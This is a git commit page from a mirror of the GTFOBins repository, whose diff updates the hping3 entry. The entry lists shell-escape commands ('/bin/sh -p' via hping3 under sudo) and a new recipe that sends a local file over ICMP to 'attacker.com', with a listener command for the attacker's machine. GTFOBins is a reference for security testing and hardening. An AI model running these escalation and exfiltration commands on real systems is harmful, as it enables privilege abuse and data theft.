1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Fix hping3 file-upload

This commit is contained in:
Andrea Cardaci 2022-12-16 15:45:58 +01:00 committed by GitHub
parent db8187123b
commit d4480345d2
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

@ -8,13 +8,18 @@ functions:
- code: |
./hping3
/bin/sh -p
file-read:
- description: It is possible to send specific file contents if hping3 has sufficient permission.
- code: |
sudo hping3 --icmp 127.0.0.1 --listen --signature --safe
sudo hping3 --icmp 127.0.0.1 --d 100 --c 2 --sign signature --file ./file.txt
sudo:
- code: |
sudo hping3
/bin/sh
- description: |
The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:
```
sudo hping3 --icmp --listen xxx --dump
```
code: |
RHOST=attacker.com
LFILE=file_to_read
sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"
---